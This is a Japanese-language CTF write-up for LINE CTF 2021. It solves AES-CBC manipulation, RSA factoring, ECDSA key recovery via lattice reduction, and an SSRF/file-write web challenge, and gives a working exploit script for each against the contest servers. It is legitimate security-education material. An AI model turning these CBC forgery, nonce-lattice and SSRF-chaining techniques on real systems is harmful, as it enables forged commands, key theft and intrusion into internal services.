LINE CTF Writeup

March 21, 2021

Crypto babycrypto1 babycrypto2 babycrypto3 babycrypto4 Web diveinternal

3/20 9:00 - 3/21 9:00 (JST) に開催された LINE CTF にソロで参加しました。結果は 31st/680 でした。初開催ということもあってかいろいろトラブルがありましたが、個人的には楽しめました (解けたとは言ってない)。特に web 問のコードリーディングは勉強になった感じがあります (解けたとは言ってない)。解いた問題についてまとめていきます。

それにしても最近 crypto が解けるようになったのはいいけどみんなも解けてしまうのでスコアがあまり伸びなくてつらい… web 問とか解けるようになりたいけど、どう精進するのがいいのだろうか。チームとかに入って情報交換とかしたほうが捗るのかな🤔

Crypto

babycrypto1

AES CBC モードの問題。ランダム文字列160bytes (=16 blocks) の TOKEN が生成され、 TOKEN + test (+ padding の \x0c * 0x0c) という文字列を暗号化したものが与えられます。復号して TOKEN + show となる暗号を送ればフラグが手に入ります。一度だけ任意の IV と message を暗号化することが許されます。

CBC モードの構造上、 IV を暗号化された TOKEN の最後のブロックにすることで、 TOKEN + show を暗号化したものの最後のブロックを得ることができます。

from base64 import b64encode, b64decode
from pwn import *

r = remote("35.200.115.41", 16001)

r.recvuntil("test Command: ")
enc_test = b64decode(r.recvline().strip())
iv = enc_test[-32:-16]
msg = b"show"
r.sendlineafter("IV...: ", b64encode(iv))
r.sendlineafter("Message...: ", b64encode(msg))
r.recvuntil("Ciphertext:")
enc_msg = b64decode(r.recvline().strip())

r.sendlineafter("Enter your command: ", b64encode(enc_test[:-16] + enc_msg[16:]))
r.interactive()

LINECTF{warming_up_crypto_YEAH}

babycrypto2

AES CBC モードの問題その2。 Command: test + TOKEN の文字列を暗号化したものが与えられます。復号して Command: show + TOKEN となる暗号を送ればフラグが手に入ります。

CBC モードを復号するとき、復号された最初のブロックは後続のブロックに影響を与えないため、 IV をコントロールすることで最初のブロックを任意の文字列に変更することができます。

from base64 import b64encode, b64decode
from pwn import *

r = remote("35.200.39.68", 16002)

r.recvuntil("test Command: ")
enc_test = b64decode(r.recvline().strip())

def xor(a, b):
    return bytes([_a ^ _b for _a, _b in zip(a, b)])

payload = enc_test[:9] + xor(xor(b"test", b"show"), enc_test[9: 13]) + enc_test[13:]
print(payload)
payload = b64encode(payload)
r.sendlineafter("Enter your command: ", payload)
r.interactive()

LINECTF{echidna_kawaii_and_crypto_is_difficult}

babycrypto3

RSA の問題。文字数のめっちゃ少ない pem と暗号文が与えられます。情報がこれだけなので、 pem にある $n$ を素因数分解することでしか解けなそうです。 RsaCtfTool に投げて雑に解きました。

python RsaCtfTool.py -n 31864103015143373750025799158312253992115354944560440908105912458749205531455987590931871433911971516176954193675507337 -e 65537 --private

これで得られた private key の pem を priv.pem という名前で保存し、以下のスクリプトで復号させました。

from base64 import b64decode
from Crypto.PublicKey import RSA
from Crypto.Util.number import bytes_to_long, long_to_bytes

with open("./priv.pem", "r") as f:
    key = f.read()

rsa = RSA.import_key(key)
e = rsa.e
n = rsa.n
d = rsa.d

with open("./ciphertext.txt", "rb") as f:
    buf = f.read()
enc = bytes_to_long(buf)

print(long_to_bytes(pow(enc, d, n)))  # padding + b"Q0xPU0lORyBUSEUgRElTVEFOQ0UuCg==" という文字列になっている

print(b64decode(b"Q0xPU0lORyBUSEUgRElTVEFOQ0UuCg=="))

LINECTF{CLOSING THE DISTANCE.}

babycrypto4

ECDSA 署名の問題。 $r, s$ , hash, $k$ の上位 bit のペアがいくつか渡されている中で $d$ を求めます。

昔似たような問題を解いたことがあり、そのときに見つけた https://eprint.iacr.org/2019/023.pdf を参考にして解きました。ただ、論文中にあげられている格子基底行列のうち、 M[m+1, i] の符号を反転させないとうまく動かなかったです。以前解いたときはそんなことなかったんだけど、なんでだろう🤔

$k$ のビット数があまりにも小さくて、上位ビットが与えられているという情報全然使わずに解けてしまったけど、どういう想定だったのだろう🤔

from binascii import unhexlify
from Crypto.Util.number import long_to_bytes, bytes_to_long
import re
with open("./output.txt") as f:
    buf = f.read()
rs = []
ss = []
ks = []
hs = []
for r, s, k, h in re.findall(r"(0x[0-9a-f]*) (0x[0-9a-f]*) (0x[0-9a-f]*) (0x[0-9a-f]*)", buf):
    rs.append(int(r, 16))
    ss.append(int(s, 16))
    ks.append(int(k, 16))
    hs.append(bytes_to_long(unhexlify(h[2:])))


# https://neuromancer.sk/std/secg/secp160r1
p = 0xffffffffffffffffffffffffffffffff7fffffff
a = 0xffffffffffffffffffffffffffffffff7ffffffc
b = 0x1c97befc54bd7a8b65acf89f81d4d4adc565fa45
EC = EllipticCurve(GF(p), [a, b])
G = EC(0x4a96b5688ef573284664698968c38bb913cbfc82, 0x23a628553168947d59dcc912042351377ac5fb32)
n = 0x0100000000000000000001f4c8f927aed3ca752257
h = 0x1

m = len(rs)
M = matrix(QQ, m+2, m+2)
order = n
B = 2**150
for i in range(m):
    M[i, i] = QQ(order)
    M[m, i] = QQ(pow(ss[i], -1, order) * rs[i])
    # TODO: ここマイナスだとうまくいかないのなんでだろう🤔
    # M[m+1, i] = -QQ(pow(ss[i], -1, order) * hs[i])
    M[m+1, i] = QQ(pow(ss[i], -1, order) * hs[i])
M[m, m] = QQ(B) / QQ(order)
M[m+1, m+1] = QQ(B)

C = M.LLL()
for i in range(m+2):
    if abs(C[i][-1]) != B:
        continue
    d = ZZ(C[i][-2] * order / B)
    if C[i][-1] < 0:
        d = -d
    for j in range(m):
        kl = (int(pow(ss[j], -1, order) * rs[j] * int(d)) + int(pow(ss[j], -1, order) * hs[j])) % order
        print(kl, ks[j])
print(hex(d))

LINECTF{dをhex化して文字列長が偶数になるように0をpaddingしたもの}

この問題は出題に不備が多くて時間が無駄に溶けてしまった、悲しい…

Web

diveinternal

コードを読むと、フラグが手に入るのは以下の部分。

def RunRollbackDB(dbhash):
    try:
        if os.environ['ENV'] == 'LOCAL':
            return
        if dbhash is None:
            return "dbhash is None"
        dbhash = ''.join(e for e in dbhash if e.isalnum())
        if os.path.isfile('backup/'+dbhash):
            with open('FLAG', 'r') as f:
                flag = f.read()
                return flag
        else:
            return "Where is file?"

これが呼ばれる部分は以下。

    def IntegrityCheck(self,key, dbHash): 

        if self.integrityKey == key:
            pass
        else:
            return json.dumps(status['key'])
        if self.dbHash != dbHash:
            flag = RunRollbackDB(dbHash)
            logger.debug('DB File changed!!'+dbHash)
            file = open(os.environ['DBFILE'],'rb').read()
            self.dbHash = hashlib.md5(file).hexdigest()
            self.integrityKey = hashlib.sha512((self.dbHash).encode('ascii')).hexdigest()
            return flag
        return "DB is safe!"

コードを注意深く読んでいくと、フラグを表示するためには、

内部の api にアクセスする
backup/${dbhash} にファイルをつくる
dbhash をつくったファイル名にする

ことができればよさそうということがわかります。

まずそもそも内部の api にアクセスできないと何もできない (frontend 側では / と /coin と /addsub しかアクセスできない) のですが、これは LanguageNomarize での処理で解決できそうです。

def LanguageNomarize(request):
    if request.headers.get('Lang') is None:
        return "en"
    else:
        regex = '^[!@#$\\/.].*/.*' # Easy~~
        language = request.headers.get('Lang')
        language = re.sub(r'%00|%0d|%0a|[!@#$^]|\.\./', '', language)
        if re.search(regex,language):
            return request.headers.get('Lang')
        
        try:
            data = requests.get(request.host_url+language, headers=request.headers)
            if data.status_code == 200:
                return data.text
            else:
                return request.headers.get('Lang')
        except:
            return request.headers.get('Lang')

request.host_url+language にアクセスしてくれるため、これらのヘッダーをいじることでアクセスします。 response は Lang ヘッダーに格納されます。

backup/${dbhash} にファイルをつくるには、 /download にアクセスします。

def WriteFile(url):
    local_filename = url.split('/')[-1]
    print(local_filename)
    with requests.get(url, stream=True) as r:
        r.raise_for_status()
        with open('backup/'+local_filename, 'wb') as f:
            for chunk in r.iter_content(chunk_size=8192): 
                f.write(chunk)
(snipped)
@app.route('/download', methods=['GET','POST'])
def download():
    try:
        if request.headers.get('Sign') == None:
            return json.dumps(status['sign'])
        else:
            if SignCheck(request):
                pass
            else:
                return json.dumps(status['sign'])

        if request.method == 'GET':
            src = request.args.get('src')

            if valid_download(src):
                pass
            else:
                return json.dumps(status.get('false'))
                
        elif request.method == 'POST':
            if valid_download(request.form['src']):
                pass
            else:
                return json.dumps(status.get('false'))

        WriteFile(src)
        return json.dumps(status.get('success'))

src に指定した url にアクセスしたときの response を、 url の末尾の名前で保存します。 SignCheck は手元で hmac.new(private_key.encode(), GET_QUERY_STRING, sha512).hexdigest() を計算することが可能です。

あとは /rollback に ?dbhash=${PATH_TO_SAVE_DIR} をつけてアクセスすれば、フラグが入手できます。

import hmac
import json
from hashlib import sha512

import requests

# HOST = "http://localhost:12004"
HOST = "http://35.190.234.195"
url = f"{HOST}/apis/coin"
private_key = "let'sbitcorinparty"

headers = {
    "Lang": "integrityStatus",
    "Host": "private:5000",
}
r = requests.get(url, headers=headers)
dbhash = json.loads(r.headers["lang"])["dbhash"]


def gen_sign(value: str):
    return hmac.new(private_key.encode(), value.encode(), sha512).hexdigest()


payload = "src=http://private:5000/integrityStatus"
sign = gen_sign(payload)
headers = {
    "Lang": f"download?{payload}",
    "Host": "private:5000",
    "Sign": sign,
}
r = requests.get(url, headers=headers)

payload = "dbhash=integrityStatus"
sign = gen_sign(payload)
headers = {
    "Lang": f"rollback?{payload}",
    "Host": "private:5000",
    "Sign": sign,
    "Key": sha512(dbhash.encode()).hexdigest(),
}
r = requests.get(url, headers=headers)
print(r.headers["lang"])

LINECTF{YOUNGCHAYOUNGCHABITCOINADAMYMONEYISBURNING}

Crypto babycrypto1 babycrypto2 babycrypto3 babycrypto4 Web diveinternal